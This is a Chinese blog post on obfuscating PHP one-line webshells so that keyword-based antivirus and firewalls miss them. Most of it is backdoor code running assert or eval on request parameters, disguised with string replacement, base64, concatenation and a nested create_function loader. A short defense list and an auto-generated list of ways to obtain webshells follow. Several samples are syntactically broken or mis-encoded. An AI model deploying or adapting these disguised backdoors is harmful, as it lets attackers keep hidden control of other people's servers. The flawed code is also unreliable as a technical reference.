webshell变形

web Shell变形

绕过杀毒软件的查杀

		防火墙通常以关键字判断是否为一句话木马。

变形方法:

  1. 利用str_replace函数
    在第三个参数中,查找第一个参数,并替换成第二个参数。这里就相当于删除abc。
<?php
	$a = str_replace("abc","","aabcsabcsabceabcrabct"); // $a=="assert";
	$a($_REQUEST(["cmd"]));	// assert($_REQUESTS(["cmd"]));
?>
  1. 利用base64_decode()函数
    将base64_decode()中的内同为assert的base64编码,这里的$a相当于assert。
<?php
	$a = base64_decode("YXNzZXJO");
	$a($_REQUEST(["cmd"]));
?>
  1. 利用"."操作符
    在PHP中,字符串之间连接使用的是"点"来实现的,可以把两个或两个以上的字符串连接成一个字符串,下列中的$c就相当于assert。
<?php
	$a = "as"."se";
	$b = "r"."t";
	$c = $a.$b;
	$c($_REQUEST(["cmd"]));
?>
  1. 更换数据来源
<?php
	$_REQUEST[a]($_REQUEST[cmd]); // 浏览器上拼接利用方法: a=assert&cmd=phpinfo();
?>
<?php
	@assert($_REQUEST[$_REQUEST[b]]); // 浏览器上拼接利用方法: b=cmd&cmd=phpinfo();
?>
  1. 利用<? ?>标签
<sctipt language="php">
	@assert($_REQUEST["cmd"]);	// @符号隐藏错误信息
</script>
  1. 利用字符串组合法隐藏关键字
    将需要隐藏的字符串随机打乱,首先定义一些随机字符串,在调用打乱后的字符串顺序并拼接成有效参数,下例中,$a=assert
<?php
	$str = 'abcsqebrt';
	$a = $str[0].$str[3].$str[3].$str[5].$str[7].$str[8];
	@$a($_REQUEST["cmd"]);
?>
  1. 拓展
<?php
	$__C_C="GJDZ2tYMUJQVTFSYmVGMHBPdz09";
	$__P_P="abcdefghijklmnopqrstuvwxyz";
	$__X_X="123456789";
	$__O_O=$__X_X[5].$__X_X[3]."_"; // 64_
	$__B_B=$__P_P[1].$__P_P[0].$__P_P[18].$__P_P[4]; // base
	$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4]; // base64_decode
	$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11]; // eval
	$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4]; // create
	$__F_F=$__F_F.'_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[14]/$__P_P[13]; // create_function
	$__D_D=$__F_F('$__S_S','$__E_E'."$__S_S";)); // create_function("",'eval();')
	@$__D_D($__H_H($__H_H($__C_C))); // eval('eval($_POST[x]);')
?>

总结

绕过技巧

  1. 更换执行数据源
  2. 字符替换或者编码
  3. 采取隐匿手段

WebShell的防御技巧

  1. 使用和及时更新防护类工具
  2. 对服务器的文件夹设置严格的读写权限
  3. 在服务器中禁用一些敏感的危险函数,如命令执行system()等函数
  4. 定期检查系统进程,查看是否有可疑的进程
  5. 根据文件的创建时间观察系统目录下是否有近期新建的可执行文件
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
对于利用webshell流量检测实验演示各种php webshell变形方法绕WAF的问题,根据引用\[1\]和引用\[2\]的内容,可以提供以下回答: Webshell是一种用于获取对服务器某种程度上的操作权限的工具,而php webshell是一种通过网站端口对网站服务器进行操作的权限。在绕过Web应用程序防火墙(WAF)的过程中,可以采用多种php webshell变形方法。 其中,管理权限拿webshell(进后台)的方法包括正常上传拿webshell、数据库备份拿webshell、突破本地验证拿webshell、上传其他脚本类型拿webshell、00截断拿webshell、利用解析漏洞拿webshell、利用编辑器拿webshell、网站配置插马拿webshell、通过编辑模板拿webshell、修改脚本直接拿webshell、数据库命令执行拿webshell、添加静态页面拿webshell、文件包含拿webshell等方法。\[2\] 而普通权限拿webshell(不进后台)的方法包括0day拿webshell、修改网站上传类型配置来拿webshell、IIS写入权限拿webshell、远程命令执行拿webshell、上传漏洞拿webshell、SQL注入拿webshell等方法。\[2\] 综上所述,利用webshell流量检测实验演示各种php webshell变形方法绕WAF的过程中,可以根据具体情况选择适合的方法来绕过WAF的检测。 #### 引用[.reference_title] - *1* [PHP常见过waf webshell以及最简单的检测方法](https://blog.csdn.net/weixin_31900373/article/details/115193111)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [拿webshell基础方法总结](https://blog.csdn.net/m0_46230316/article/details/105644775)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

White_hat007

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值